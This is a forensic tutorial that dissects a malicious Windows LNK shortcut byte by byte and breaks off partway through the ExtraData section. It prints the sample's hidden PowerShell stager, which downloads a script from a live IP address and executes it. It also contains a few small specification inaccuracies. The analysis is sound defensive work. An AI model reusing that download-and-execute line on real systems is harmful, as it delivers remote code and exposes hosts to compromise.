Windows LNK Forensic Analysis

 

A Windows shortcut file, commonly referred to as an LNK file, constitutes a compact binary metadata container designed to establish a persistent reference to a target file, directory, or executable. Functioning as a shell link, it enables direct resolution to the designated object without traversing the underlying file system hierarchy. These artifacts encapsulate comprehensive LinkTarget metadata, including the target’s absolute path, filename, file attributes, volume serial number, drive type, and associated application execution context (such as command-line arguments and working directory).

In digital forensic examinations, LNK files serve as high-value evidentiary artifacts, reliably documenting user and attacker interactions with specific resources on a Windows system. They frequently preserve references to files that have since been deleted, relocated, or exfiltrated, thereby reconstructing access timelines and revealing prior file system presence. Their utility is particularly pronounced in identifying anomalous file access patterns, indicators of data exfiltration, and lateral movement by threat actors. As native Microsoft Windows constructs, LNK files harbor extensive structured metadata—encompassing MACB timestamps of both the shortcut and target, network share intelligence, and device information—rendering them critical repositories for timeline reconstruction and behavioral analysis. Effective LNK file forensics demands an in-depth mastery of the Shell Link binary format (including the ShellLinkHeader, LinkTargetIDList, LinkInfo, and ExtraData blocks) to extract actionable intelligence and establish definitive evidentiary trails.

The Shell Link (LNK) Binary Format

The Shell Link Binary File Format defines the precise binary structure of Microsoft Windows Shortcut files (.LNK). Mastery of this format is of critical importance to digital forensic analysts, as it enables the extraction of rich metadata that can reconstruct user activity, attacker behavior, and file system interactions even in the absence of the original target files.

The Shell Link Binary File Format is composed of a series of structured blocks, beginning with the mandatory SHELL_LINK_HEADER, followed by optional structures such as the LinkTargetIDList, LinkInfo, StringData, and ExtraData sections.

Figure 1: Shell Link Binary Structure

SHELL_LINK_HEADER

The SHELL_LINK_HEADER constitutes the initial and mandatory structure within any Windows Shortcut (.LNK) file. Occupying a fixed size of 76 bytes, this header serves as the foundational metadata container, defining the shortcut’s core characteristics, validity, and behavioral attributes. It includes critical identification data (such as the CLSID), temporal information (creation, modification, and access timestamps), and a comprehensive set of flags that indicate the presence or absence of subsequent optional structures.

Figure 2: The SHELL_LINK_HEADER structure

The artifact subjected to analysis in this examination is a .LNK shortcut file retrieved from MalwareBazaar, selected for its relevance in malware-related forensic investigations.

Figure 3: Hex editor view of the SHELL_LINK_HEADER 

The hexadecimal analysis of the SHELL_LINK_HEADER structure within the examined Windows Shortcut (.LNK) file is detailed as follows. This header constitutes the foundational 76-byte binary block essential for validating the file’s authenticity and extracting critical metadata for forensic reconstruction of user and threat actor activity.

• HeaderSize --> This field, located at offset 0x00, specifies the total size of the SHELL_LINK_HEADER structure. It is stored as a 4-byte unsigned integer in little-endian byte order and maintains a constant value of 0x0000004C (76 bytes). Any deviation from this value may indicate file corruption, deliberate tampering, or a non-standard shortcut, warranting immediate scrutiny during forensic validation. When combined with the LinkCLSID and LinkFlags, this field serves as a primary integrity check to confirm the artifact as a legitimate Microsoft Shell Link.
• LinkCLSID --> A 16-byte Globally Unique Identifier (GUID) positioned at offset 0x04; this field must contain the reserved Microsoft value {00021401-0000-0000-C000-000000000046}. This CLSID is consistent across all authentic Windows Shortcut files and functions as a critical identifier for Shell Link objects. Deviation from this GUID strongly suggests file malformation or adversarial manipulation. The GUID is stored in little-endian format and is segmented as follows:
  • 00021401—Shell Link object identifier (byte-reversed in hex view).
  • 0000-0000 – Reserved fields.
  • C000-000000000046 – Microsoft COM class and root namespace components (stored in big-endian).
• LinkFlags --> This 4-byte bitmask, located at offset 0x14, defines which optional structures follow the header. Forensic parsing requires converting the value to binary and cross-referencing each set bit against the Microsoft Shell Link specification. In the analyzed artifact, the following flags were enabled: HasLinkTargetIDList, HasLinkInfo, HasWorkingDir, HasArguments, IsUnicode, and EnableTargetMetadata. These flags provide significant evidentiary insight into the shortcut’s complexity and the presence of additional metadata relevant to behavioral reconstruction.
• FileAttributes --> A 4-byte bitmask at offset 0x18 representing the Windows file system attributes of the target file or directory (not the .LNK file itself). Interpretation requires binary conversion and mapping against standard Windows attribute flags (e.g., Read-Only, Hidden, System). This field assists analysts in understanding the nature and intended properties of the referenced resource.
• CreationTime --> An 8-byte Windows FILETIME structure at offset 0x1C, recording the creation timestamp of the target file/folder. Stored in little-endian, the raw value must be byte-reversed for correct interpretation. In this specimen, reversal yields 0x01D87E6B32BC925A, corresponding to 12 June 2022, 14:46:28 UTC. This timestamp is highly valuable for timeline alignment in intrusion investigations.
• AccessTime --> An 8-byte FILETIME value at offset 0x24 indicating the last access time of the target. Following byte reversal, the value 01D88C38D86EE91D resolves to 30 June 2022, 04:21:28 UTC. Such temporal metadata is instrumental in establishing sequences of file interaction and potential data exfiltration windows.
• WriteTime --> Located at offset 0x2C, this 8-byte FILETIME records the last modification time of the target. Reversal of the captured value produces 01D87E6B32BC925A, equating to 12 June 2022, 14:46:28 UTC. MACB (Modified, Accessed, Created, Born) timestamps within LNK files frequently survive target file deletion, offering persistent evidentiary artifacts.
• FileSize --> A 4-byte unsigned integer at offset 0x34 representing the size of the target file in bytes (least significant 32 bits for files exceeding 4 GB). In this case, the value resolves to 0x0006E800, or 452,608 bytes (approximately 442 KB). This information aids in corroborating target file characteristics during malware and data theft investigations. If the link target file is larger than 0xFFFFFFFF, this value specifies the least significant 32 bits of the link target file size.
• IconIndex --> A 4-byte signed integer at offset 0x40 specifying the icon index within the resource identified by IconLocation. It is used in combination with the IconLocation string (if present) to determine which icon to display. If the icon file (e.g., .dll, .exe, .ico) contains multiple icons, IconIndex tells the system which one to use. Suppose this field value is 0x02000000 in your investigation; converting to big-endian will give 0x02. This means the shortcut will display the third icon (indexing starts at 0) in the field specified by IconLocation. In forensic contexts, this field—when analyzed alongside IconLocation—can reveal attempts at masquerading (e.g., mimicking legitimate executables via icons from shell32.dll). Negative values (such as 0xFFFFFFFF = -1) may indicate a fallback to system default icons.     
• ShowCommand --> A 4-byte integer at offset 0x44 dictating the display state of the target application’s window upon execution. In the analyzed file, this value resolves to 0x00000001 (SW_SHOWNORMAL). This detail can expose execution behavior preferences set by the shortcut creator. This value should be one of the following:

• VALUE	MEANING
  SW_SHOWNORMAL 0x00000001	The application is open, and its window is open in a normal fashion.
  SW_SHOWMAXIMIZED 0x00000003	The application is open, and the keyboard focus is given to it, but its window is not shown.
  SW_SHOWMINNOACTIVE 0x00000007	The application is open, but its window is not shown. It is not given the keyboard focus.
  All other values MUST be treated as SW_SHOWNORMAL.

• In our example file, when converted to big endian, the ShowCommand value becomes 0x01 - SW_SHOWNORMAL.
• HotKey --> A 2-byte field at offset 0x48 defining any keyboard shortcut assigned to launch the target. It consists of a low byte (virtual key code) and a high byte (modifier flags such as Ctrl, Alt, Shift). This element is particularly relevant when investigating persistence mechanisms or user-defined execution triggers in malicious shortcuts. This value is assigned to the application after it is launched so that pressing the key activates it.
• LowByte (1st byte) --> An 8-bit unsigned integer that specifies a virtual key code [A-Z, 0-9, function keys] that corresponds to a key on the keyboard. This value MUST be one of the following, as defined in the Microsoft documentation.
• HighByte (2nd byte) --> An 8-bit unsigned integer that specifies bits that correspond to modifier keys on the keyboard. This value MUST be one or a combination of the following, as defined in the Microsoft documentation.
• Reserved[0..2] --> Three 2-byte fields (offsets 0x4A, 0x4C, 0x4E) that are reserved and must contain zero values. Non-zero data in these fields may indicate file malformation or deliberate obfuscation attempts by sophisticated threat actors.

LINKTARGET_IDLIST

The LinkTargetIDList (IDList) is a critical optional structure in the Shell Link Binary File Format that encodes detailed namespace information about the target file, folder, or shell object referenced by the Windows Shortcut (.LNK) file.

Its presence is strictly controlled by the HasLinkTargetIDList flag—the least significant bit in the 32-bit LinkFlags field of the SHELL_LINK_HEADER. When enabled, this structure immediately follows the header and provides a serialized chain of ItemID (Shell Item) elements drawn from the Windows Shell namespace.

An ItemID is an element in an IDList structure. The data stored in a given ItemID is defined by the source that corresponds to the location in the target namespace of the preceding ItemIDs. This data uniquely identifies the items in that part of the namespace. 

Figure 4: LINKTARGET_IDLIST and LINKINFO structures

Shell Namespace and ItemIDs

The Windows Shell namespace represents a hierarchical, virtualized organization of files, folders, and system objects, abstracting physical storage locations into a unified model. Within this namespace, each object is identified by a unique, variable-length ItemID. Unlike conventional file system paths, ItemIDs are source-specific binary descriptors whose format is dictated by the parent Shell folder or namespace extension. The LinkTargetIDList is essentially an ordered sequence of these ItemIDs, forming a persistent pointer that enables the Shell to resolve and activate the target regardless of drive letter changes, file relocation, or renaming.

This design grants .LNK files remarkable resilience, allowing them to maintain functionality even when the underlying target has been moved or renamed — a property that simultaneously enhances their forensic durability.

Forensic Significance

In digital forensics and incident response investigations, the LinkTargetIDList constitutes a high-value artifact. It frequently preserves the complete namespace path to targets that no longer exist on the filesystem, enabling analysts to reconstruct prior file access, data exfiltration events, and user or threat actor interactions.

However, this structure also presents notable challenges. Sophisticated malware authors and threat actors frequently manipulate the LinkTargetIDList to obscure the true target location, redirect execution to malicious payloads through seemingly innocuous shell objects, or exploit namespace extensions for persistence and defense evasion. By relying on ItemIDs rather than plaintext paths, adversaries can complicate manual analysis and hinder rapid identification of malicious intent.

Consequently, thorough parsing of the LinkTargetIDList—including decomposition of individual Shell Items, Property Stores, and extension blocks—is indispensable. Forensic examiners must leverage specialized tools capable of fully decoding these structures to uncover hidden execution chains, detect masquerading techniques, and correlate shortcut activity with broader intrusion timelines. Mastery of this structure is therefore essential for effective threat detection, malware analysis, and the extraction of actionable intelligence from Windows shortcut artifacts.

Figure 5: Hex editor view of the LINKTARGET_IDLIST structure

• ListSize --> The LinkTargetIDList structure begins with a 2-byte IDListSize field located at offset 0x4C (immediately following the SHELL_LINK_HEADER). This value indicates the total length, in bytes, of the entire IDList that follows. Stored in little-endian byte order, it must be interpreted in big-endian for correct analysis. In the examined artifact, the field resolves to 0x020D (525 bytes). This size field allows forensic parsers to allocate the precise boundary for processing all subsequent Shell Items and serves as an important integrity control; deviations or anomalous values may signal file corruption, truncation, or adversarial tampering..
• IDList --> The IDList itself consists of a variable-length sequence of Shell Items (ItemIDs). Each ItemID begins with a 2-byte size field (ItemIDSize), followed by its type-specific data. Parsing proceeds sequentially by reading the ItemIDSize and advancing the offset accordingly until either the total ListSize is exhausted or a terminating 2-byte null value (0x0000) is encountered. The analyzed .LNK file contains seven (7) Shell Items within the LinkTargetIDList, collectively reconstructing the target’s hierarchical path within the Windows Shell namespace. Their forensic breakdown is as follows:
• IDList[0] (ROOT/This PC) --> This is the first item in the LINKTARGET_IDList. It represents a shell item (e.g., a drive folder or special location like "This PC"). Here is a breakdown of this value in our LNK analysis file.
• ItemIDSize: 0x1400 → 0x0014 (20 bytes).
• Type: 0x1F (ROOT). Other values you may encounter include VOLUME (0x20 - 0x2F), FOLDER (0x30-0x3F), NETWORK (0x40 - 0x4F), COMPRESSED (0x50  - 0x5F), URI (0x61), CONTROL_PANEL (0x71).
• SortIndex: 0x50 (corresponds to My Computer / This PC) Other values you may encounter include INTERNET_EXPLORER1 (0x00), LIBRARIES (0x42), USERS (0x44), MY_DOCUMENTS (0x48), MY_NETWORK_PLACES/NETWORK (0x58), RECYCLE_BIN (0x60), INTERNET_EXPLORER2 (0x68), UNKNOWN (0x70), MY_GAMES (0x80).
• CLSID: E04FD020EA3A6910A2D808002B30309D → {20D04FE0-3AEA-1069-A2D8-08002B30309D} (My Computer GUID). One of the popular sources and databases of known Windows CLSIDs is the Windows Registry. You can look up your CLSID values in the following keys: HKEY_CLASSES_ROOT\CLSID\{GUID} or HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID.

  

  Figure 6: GUID CLSID corresponds to 'THIS PC'

This initial item establishes the root of the namespace path.

• IDList[1] --> This is the second Shell item entry in the LINKTARGET_IDLIST of the .LNK file. This is the next ItemID following IDList[0], and it continues building the target path in the Shell Namespace. The IDList[1] values in our case file are broken down as follows:
• ItemIDSize: 0x1900 → 0x0019 (25 bytes)
• Type: 0x2F (VOLUME)
• Data: This (variable) 22-byte data contains Unicode-encoded text. 43 3A 5C 00... → Decodes to C:\.
• IDList[2] (Windows directory) --> This is the third Shell item in the LINKTARGET_IDLIST of the Windows LNK file. This continues the shortcut's path as defined in the Shell Namespace, right after IDList[0] and IDList[1]. This value in our case file is broken down as follows:
• ItemIDSize: 0x5600 → 0x0056 (86 bytes)
• Type: 0x31 (Directory)
• Modified Time (DOSDATE): 0xDE542E11 → 2022-06-30 02:09:28 (Local)
• Attributes: 0x1000 (Directory)
• Short Name: Windows
• ExtraDataBlock: Contains extended metadata including Creation (2019-07-12), Last Access (2022-06-30), and Long Name (Windows).
• IDList[3] (System32 directory) -->This is the fourth Shell item in the LINKTARGET_IDLIST of the Windows LNK file. This continues the shortcut's path defined in the Shell Namespace after the previous IDList items.
• ItemIDSize: 0x5A00 → 0x005A (90 bytes)
• Type: 0x31 (Directory)
• Modified Time (DOSDATE): 0xDE547719 → 2022-06-30 03:11:46 (UTC)
• Attributes: 0x1000 (Directory)
• Short Name: System32
• ExtraDataBlock: Includes Creation (2019-07-12), Last Access (2022-06-30), and Long Name (System32).
• IDList[4] (Windows Powershell directory) --> This is the fifth Shell item in the LINKTARGET_IDLIST of the Windows LNK file. This continues the shortcut's path as defined in the Shell Namespace after the previous IDList items.
• ItemIDSize: 0x7400 → 0x0074 (116 bytes)
• Type: 0x31 (Directory)
• Modified Time (DOSDATE): 0x874FDB49 → 2019-12-07 09:14:54 (UTC)
• Attributes: 0x1000 (Directory)
• Short Name: WindowsPowerShell
• ExtraDataBlock: Extended timestamps and long name (WindowsPowerShell).
• IDList[5] (v1.o sub-directory) --> This is the sixth Shell item in the LINKTARGET_IDLIST of the Windows LNK file. This continues the shortcut's path defined in the Shell Namespace after the previous IDList items.
• ItemIDSize: 0x4E00 → 0x004E (78 bytes)
• Type: 0x31 (Directory)
• Modified Time (DOSDATE): 0xCD54721C → 2022-06-13 03:35:36 (UTC)
• Attributes: 0x1000 (Directory)
• Short Name: v1.0
• ExtraDataBlock: Contains relevant Creation, Access timestamps, and Long Name (v1.0).
• IDList[6] --> This is the seventh Shell item in the LINKTARGET_IDLIST of the Windows LNK file. This continues the shortcut's path as defined in the Shell Namespace after the previous IDList items.
• ItemIDSize: 0x6C00 → 0x006C (108 bytes)
• Type: 0x32 (File)
• FileSize: 0x00E80600 → 452,608 bytes
• Modified Time (DOSDATE): 0xCC54CF75 → 2022-06-12 14:46:30 (UTC)
• Attributes: 0x1000 (Archive)
• Short Name: powershell.exe
• ExtraDataBlock: Includes Creation (2022-06-12 14:46:30), Last Access (2022-06-30 04:03:48), and Long Name (powershell.exe).

• TerminalID: 0x0000—Marks the end of the ItemID list.

The reconstructed namespace path—This PC > C:\ > Windows > System32 > WindowsPowerShell > v1.0 > powershell.exe—provides a clear execution target. The presence of rich temporal metadata (MAC times) for both directories and the target file, even if the original file is later deleted, makes this structure exceptionally valuable for timeline reconstruction, malware execution analysis, and data exfiltration investigations. Analysts should pay particular attention to timestamp discrepancies and ItemID manipulations, which are common techniques employed by threat actors to obfuscate malicious intent.

LinkInfo

The LinkInfo structure is a significant optional component within the Shell Link Binary File Format. It provides essential supplementary metadata that enables the Windows Shell to resolve the target object when the original file system path is no longer valid due to relocation, renaming, or deletion.

The presence of the LinkInfo structure is governed by the HasLinkInfo flag — the second least significant bit in the 32-bit LinkFlags field of the SHELL_LINK_HEADER. When this flag is set, the LinkInfo block immediately follows the LinkTargetIDList (if present) and delivers critical location-specific intelligence. This structure contains detailed information necessary for robust link resolution, including:

• Volume Information: Data regarding the storage volume on which the target originally resided (volume label, serial number, drive type — e.g., fixed, removable, network).
• Local Path Details: The original file system path and mapped drive letter at the time of shortcut creation.
• Network Path Information: The Universal Naming Convention (UNC) path, if the target was located on a network share when the shortcut was created.

These elements allow the operating system to intelligently locate the target even after significant changes to the file system environment.

Figure 7: Hex view of the LinkInfo structure

• LinkInfoSize (Offset 0x00) -->  A 4-byte unsigned integer specifying the total size, in bytes, of the entire LinkInfo structure. All internal offsets and strings must remain within this boundary. In the analyzed sample, this value is 0x00000068 (104 bytes). This field serves as a critical structural boundary for validation during forensic parsing.

• LinkInfoHeaderSize (Offset 0x04) --> A 4-byte unsigned integer that defines the size of the LinkInfo header. The value determines whether optional Unicode offset fields are present:

  • 0x0000001C – No optional Unicode offsets.
  • ≥ 0x00000024 – Optional Unicode offset fields are included.

  In this specimen, the header size indicates the presence of the standard header without extended Unicode offsets.

• LinkInfoFlags (Offset 0x08) --> Four-byte (32-bit) flags that specify whether the VolumeID, LocalBasePath, LocalBasePathUnicode, and CommonNetworkRelativeLink fields are present in this structure. 
• 
  
  
• The value of 0x01000000 in our sample LNK file (i.e., only the first bit [bit A] is set) means that the VolumeID and LocalBasePath fields are present, and their locations are specified by the values of the VolumeIDOffset and LocalBasePathOffset fields, respectively.
• VolumeIDOffset (Offset 0x0C) --> This is a 4-byte (32-bit), unsigned integer that specifies the location of the VolumeID field. If the VolumeIDAndLocalBasePath flag is set, this value is an offset, in bytes, from the start of the LinkInfo structure; otherwise, this value MUST be zero. In our sample file, this field is present and has a value of 0x1C (28 in decimal). It means the Volume ID starts at offset 0x1C (or 28 in decimal) from the start of the LinkInfo structure.
• LocalBasePathOffset (Offset 0x10) --> This is a 4-byte (32-bit), unsigned integer that specifies the location of the LocalBasePath field (i.e. offset to the base path of the target file). If the VolumeIDAndLocalBasePath flag is set, this value is an offset, in bytes, from the start of the LinkInfo structure; otherwise, this value MUST be zero. In our sample file, this field is present, and has a value of 0x2D (45 in decimal). It means the local path starts at offset 0x2D (or 45 in decimal) from the start of the LinkInfo structure.
• CommonNetworkRelativeLinkOffset (Offset 0x14) --> This is a 4-byte (32-bit), unsigned integer that specifies the location of the CommonNetworkRelativeLink field (i.e, offset to the network share information). If the CommonNetworkRelativeLinkAndPathSuffix flag is set, this value is an offset, in bytes, from the start of the LinkInfo structure; otherwise, this value MUST be zero. In our sample file, the CommonNetworkRelativeLinkAndPathSuffix flag is not set; hence, this value is not present, as indicated by the hex bits 0x00000000.
• CommonPathSuffixOffset (Offset 0x18) --> This is a 4-byte (32-bit), unsigned integer that specifies the location of the CommonPathSuffix field (filename). This value is an offset, in bytes, from the start of the LinkInfo structure. In our sample file, this field has a value of 0x67 (103 in decimal). This means that the filename starts at offset 0x67 (103 in decimal) from the start of the LinkInfo structure.
• LocalBasePathOffsetUnicode --> This is an optional, 4-byte (32-bit), unsigned integer that specifies the location of the LocalBasePathUnicode field. If the VolumeIDAndLocalBasePath flag is set, this value is an offset, in bytes, from the start of the LinkInfo structure; otherwise, this value MUST be zero. This field can be present only if the value of the LinkInfoHeaderSize field is greater than or equal to 0x00000024. This field is not present in our sample LNK file.
• CommonPathSuffixOffsetUnicode --> This is an optional, 4-byte (32-bit), unsigned integer that specifies the location of the CommonPathSuffixUnicode field. This value is an offset, in bytes, from the start of the LinkInfo structure. This field can be present only if the value of the LinkInfoHeaderSize field is greater than or equal to 0x00000024. This field is not present in our sample LNK file.
• VolumeID --> The VolumeID structure specifies information about the volume that the link target was on when the link was created. This field is present if the VolumeIDAndLocalBasePath flag is set. In our sample file, this field has a value of 110000000300000090962EBA1000000000. This must be decoded by rearranging in big-endian, and the result interpreted as shown below.
• VolumeIDSize: 0x00000011 (17 bytes). A 4-byte (32-bit), unsigned integer that specifies the size, in bytes, of this structure. This value MUST be greater than 0x00000010. All offsets specified in this structure MUST be less than this value, and all strings contained in this structure MUST fit within the extent defined by this size.
• DriveType: 0x00000003 (DRIVE_FIXED). A 4-byte (32-bit), unsigned integer that specifies the type of drive the link target is stored on. This value MUST be one of the following:

• Value	Meaning
  DRIVE_UNKNOWN 0x00000000	The drive type cannot be determined.
  DRIVE_NO_ROOT_DIR 0x00000001	The root path is invalid; for example, there is no volume mounted at the path.
  DRIVE_REMOVABLE 0x00000002	The drive has removable media, such as a floppy drive, thumb drive, or flash card reader.
  DRIVE_FIXED 0x00000003	The drive has fixed media, such as a hard drive or flash drive.
  DRIVE_REMOTE 0x00000004	The drive is a remote (network) drive.
  DRIVE_CDROM 0x00000005	The drive is a CD-ROM drive.
  DRIVE_RAMDISK 0x00000006	The drive is a RAM disk.

• DriveSerialNumber: 0xBA2E9690 --> A 4-byte (32-bit) unique volume serial number, highly valuable for correlating storage devices across multiple artifacts.
• VolumeLabelOffset: 0x00000010 (16 bytes). A 4-byte (32-bit), unsigned integer that specifies the location of a string that contains the volume label of the drive on which the link target is stored. This value is an offset, in bytes, from the start of the VolumeID structure to a NULL-terminated string of characters, defined by the system default code page. The volume label string is located in the Data field of this structure. If the value of this field is 0x00000014, it MUST be ignored, and the value of the VolumeLabelOffsetUnicode field MUST be used to locate the volume label string.
• LocalBasePath --> An optional, NULL-terminated ANSI string representing the base path of the target at creation time. This field is present if the VolumeIDAndLocalBasePath flag is set.  In this artifact, it decodes to C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe. This string is essential for reconstructing the full execution path and corroborating the LinkTargetIDList. 
• CommonPathSuffix --> A NULL-terminated ANSI string appended to the LocalBasePath to form the complete target path. In this sample, the value is a single null byte (0x00), indicating that the LocalBasePath already contains the full path to the target. 

In digital forensic investigations, the LinkInfo structure represents a high-value artifact for reconstructing the historical context of file access and execution. It frequently reveals the original storage location of targets that have since been deleted or exfiltrated, providing investigators with crucial insights into:

• The precise environment in which a user or threat actor interacted with a resource.
• Indicators of lateral movement across network shares.
• Evidence of data staging on removable media or external drives.
• Correlation between local and network-based artifacts.

Because this structure preserves volume serial numbers, drive mappings, and UNC paths, it is particularly effective in tracing attacker activity, identifying data exfiltration vectors, and establishing timelines that extend beyond the current state of the file system. Analysts should meticulously parse both the Common and Optional LinkInfo blocks, as discrepancies or anomalies within these fields can indicate sophisticated anti-forensic techniques or deliberate path obfuscation by malware.

Mastery of the LinkInfo structure is therefore indispensable for comprehensive analysis of Windows Shortcut files in malware investigations, insider threat cases, and incident response engagements.

StringData

The StringData section consists of a series of optional, variable-length string structures that follow the LinkInfo block (when present) in the Shell Link Binary File Format. These structures supply user-facing and path-resolution metadata. Their presence is strictly controlled by specific bits in the LinkFlags field of the SHELL_LINK_HEADER. The following StringData structures may appear, each aligned to the flags identified during header analysis:

• NAME_STRING --> An optional Unicode string that provides a descriptive name or title for the shortcut, intended for display to end users. This structure is present only if the HasName flag is set in LinkFlags. In forensic contexts, it can reveal the intent or naming convention chosen by the shortcut’s creator.
• RELATIVE_PATH --> An optional Unicode string specifying the target’s path relative to the location of the .LNK file itself. When present (indicated by the HasRelativePath flag), this field is intended to assist the Shell in link resolution. It offers valuable evidentiary context regarding the original relative positioning of the target at the time of shortcut creation.
• WORKING_DIR --> An optional Unicode string that defines the working directory (current directory) to be set when the target is executed. Its presence is governed by the HasWorkingDir flag. This field is particularly useful in investigations as it can expose the operational environment intended by the shortcut author, often revealing staging directories or specific execution contexts employed by malware or scripts.
• COMMAND_LINE_ARGUMENTS -->  An optional Unicode string containing command-line arguments to be passed to the target application upon execution. This structure must be present if the HasArguments flag is set. In digital forensics and malware analysis, command-line arguments stored here are high-value artifacts frequently used to identify malicious parameters, payloads, scripts, or automated behaviors (e.g., PowerShell execution flags).
• ICON_LOCATION --> An optional Unicode string specifying the path or resource location of the icon to be displayed for the shortcut. It is present when the HasIconLocation flag is enabled. Forensic examination of this field can uncover masquerading techniques, where adversaries assign legitimate-looking icons (e.g., from shell32.dll) to malicious shortcuts in order to deceive users..

Figure 8: The StringData structure

Each string is the StringData field, typically follows the below format:

Field	Size	Description
CountCharacters	2 bytes	A 16-bit, unsigned integer that specifies either the number of characters, defined by the system default code page, or the number of Unicode characters found in the String field. A value of zero specifies an empty string.
String	Variable	An optional set of characters, defined by the system default code page, or a Unicode string with a length specified by the CountCharacters field. This string MUST NOT be NULL-terminated. Each UTF-16LE-encoded characters has 2 bytes.

StringData structures enhance the evidentiary richness of LNK files by preserving creator-defined metadata and execution parameters that may not be fully captured in the LinkTargetIDList or LinkInfo blocks. Because these strings are stored in Unicode and tied directly to LinkFlags, they provide clear indicators of shortcut intent and functionality. Analysts should routinely extract and correlate these fields with other artifacts to reconstruct execution chains, detect social engineering campaigns, identify persistence mechanisms, and uncover command-line-based malicious activity.

In the analyzed LNK file, the enabled flags (HasWorkingDir, HasArguments) confirm the presence of the WORKING_DIR and COMMAND_LINE_ARGUMENTS structures, respectively, offering deeper insight into how the shortcut was designed to operate.

Figure 9: Hex view of the StringData WORKING_DIR structure

StringData WORKING_DIR

The Working Directory string is an optional Unicode structure within the StringData section. Its presence is dictated by the HasWorkingDir flag in the SHELL_LINK_HEADER’s LinkFlags field (which was enabled in this artifact).

• Character Count (Offset relative to StringData start): 0x0C00 → 0x000C (12 characters)
  This 2-byte field specifies the number of Unicode characters that follow (excluding the terminating null).

• Working Directory String: A Unicode (UTF-16LE) encoded string occupying 24 bytes (12 characters × 2 bytes). The decoded value is:

  E:\downloads

The Working Directory field specifies the current working directory (initial path context) that the Windows Shell sets when launching the target application. In this case, the shortcut was configured to execute with E:\downloads as the active directory. This information is highly relevant in digital forensic investigations because it can reveal:

• Staging locations commonly used by threat actors for malware deployment or payload execution.
• The presence of removable or external drives (drive letter E:) involved in the activity.
• Potential data exfiltration or dropper directories.
• Execution environment details that help correlate with other system artifacts such as Prefetch files, ShimCache, or Amcache.

In malware-related shortcuts, adversaries frequently use non-standard working directories to hide malicious scripts or binaries from casual observation. The preservation of this string, even after files are deleted, makes it a durable evidentiary artifact for timeline reconstruction and behavioral analysis.

StringData COMMAND_LINE_ARGUMENTS

The Command Line Arguments string is an optional Unicode structure within the StringData section. Its presence is dictated by the HasArguments flag in the SHELL_LINK_HEADER’s LinkFlags field (which was enabled in this artifact).

Figure 10:  StringData COMMAND_LINE_ARGUMENTS structure

• Character Count (Offset relative to StringData start): 0x6600 → 0x0066 (102 characters)
  This 2-byte field specifies the number of Unicode characters that follow (excluding the terminating null).

• Command Line Arguments String: A Unicode (UTF-16LE) encoded string. The fully decoded value is:

  -nop -w hidden -c "IEX((new-object net.webclient).downloadstring('http://120.48.85.228:80/favicon'))"

This field contains the exact command-line parameters passed to the target executable (powershell.exe) when the shortcut is activated. The arguments reveal a classic malicious PowerShell stager/downloader pattern:

• -nop (NoProfile): Skips loading the user’s PowerShell profile to reduce noise and detection.
• -w hidden (WindowStyle Hidden): Executes the script without displaying a visible window, a common evasion technique.
• -c (Command): Executes the following inline command.
• IEX((new-object net.webclient).downloadstring(...)): Downloads and immediately executes a remote script from the external IP address 120.48.85.228 on port 80 (using a /favicon endpoint for masquerading).

In digital forensic and malware investigations, this is a high-value indicator of compromise (IoC). The preserved command-line arguments in the LNK file allow analysts to:

• Identify the specific malicious payload delivery mechanism.
• Trace command-and-control (C2) infrastructure (here, the IP 120.48.85.228).
• Reconstruct the full execution chain even if the original payload or downloaded script has been deleted.
• Correlate with network logs, DNS queries, and other artifacts such as Amcache, Prefetch, or Event Logs.

The presence of such obfuscated remote download logic in a shortcut strongly suggests intentional malicious activity, commonly associated with initial access or persistence stages of an intrusion.

ExtraData

The ExtraData section consists of a variable-length sequence of optional property data blocks located at the end of the Shell Link Binary File Format, immediately following the StringData structures. These blocks provide supplementary metadata about the shortcut and its target environment. The section terminates with a mandatory Terminal Block (BlockSize = 0x00000000, BlockSignature = 0x00000000).

Offset (hex)	Size (bytes)	Field	Description
0x00	4	BlockSize	A 32-bit unsigned integer specifying the total size of the block, including the header.
0x04	4	BlockSignature	A 32-bit unsigned integer serving as a unique identifier for the block type.
0x08	Variable	Data	Block-specific payload.

The following table enumerates the most frequently encountered ExtraData blocks, identified by their BlockSignature (shown in little-endian byte order as commonly observed in hex viewers):

Signature	Block Name	Block Size Value	Description
0xA0000001	EnvironmentVariableDataBlock	0x00000314	Stores paths using environment variables (e.g., %SystemRoot%). Useful for resolving targets across varying system configurations.
0xA0000002	ConsoleDataBlock	0x000000CC	Defines console window settings for command-line applications.
0xA0000003	TrackerDataBlock	0x00000060	Contains Machine ID, Droid Volume ID, and Droid File ID. Highly valuable for tracking the origin and movement of the target across systems and volumes.
0xA0000004	ConsoleFEDataBlock	0x0000000C	Specifies code page for console applications.
0xA0000005	SpecialFolderDataBlock	0x00000010	Identifies special Windows folders (e.g., Desktop, Start Menu)..
0xA0000006	DarwinDataBlock	0x00000314	Used for installer-based applications (MSI).
0xA0000007	IconEnvironmentDataBlock	0x00000314	Environment-variable-encoded icon paths.
0xA0000008	ShimDataBlock	≥ 0x00000088	Specifies Application Compatibility Shim — frequently abused by malware for evasion.
0xA0000009	PropertyStoreDataBlock	≥ 0x0000000C	Contains rich structured properties (e.g., file metadata, custom attributes). A goldmine for deep behavioral analysis.
0xA000000B	KnownFolderDataBlock	0x0000001C	Tracks known folders with GUIDs for persistent resolution.
0xA000000C	VistaAndAboveIDListDataBlock	0x0000000A	Alternate IDList for modern Windows versions.

ExtraData blocks significantly enrich the evidentiary value of LNK files. Structures such as the TrackerDataBlock (which includes unique machine and volume identifiers), ShimDataBlock, and PropertyStoreDataBlock are particularly prized in investigations. They often survive target file deletion and can reveal:

• The original machine where the shortcut was created.
• Anti-forensic or compatibility techniques employed by threat actors.
• Detailed metadata about the target not available elsewhere.
• Indicators of lateral movement or persistence mechanisms.

While a comprehensive analysis of every possible property exceeds the scope of this examination, analysts are strongly encouraged to reference the official Microsoft Shell Link documentation for complete block layouts and interpretation guidance. The ExtraData section of the analyzed .LNK file contains several data blocks that provide additional context about the shortcut’s target and creation environment. The following details their forensic parsing.

Figure 11: Hex view of the ExtraData structure

• SpecialFolderDataBlock → This is analyzed as follows:
• BlockSize: 0x10000000 → 0x00000010 (16 bytes)
• BlockSignature: 0x050000A0 → 0xA0000005 (SpecialFolderDataBlock)
• SpecialFolderID: 0x25000000 → 0x00000025 (37)
• Offset: 0x0D000000 → 0x0000000D (13)

This block identifies the target as residing within a special folder, aiding Shell resolution for virtual or system-managed locations.

• KnownFolderDataBlock → This is analyzed as follows:
• BlockSize: 0x1C000000 → 0x0000001C (28 bytes)
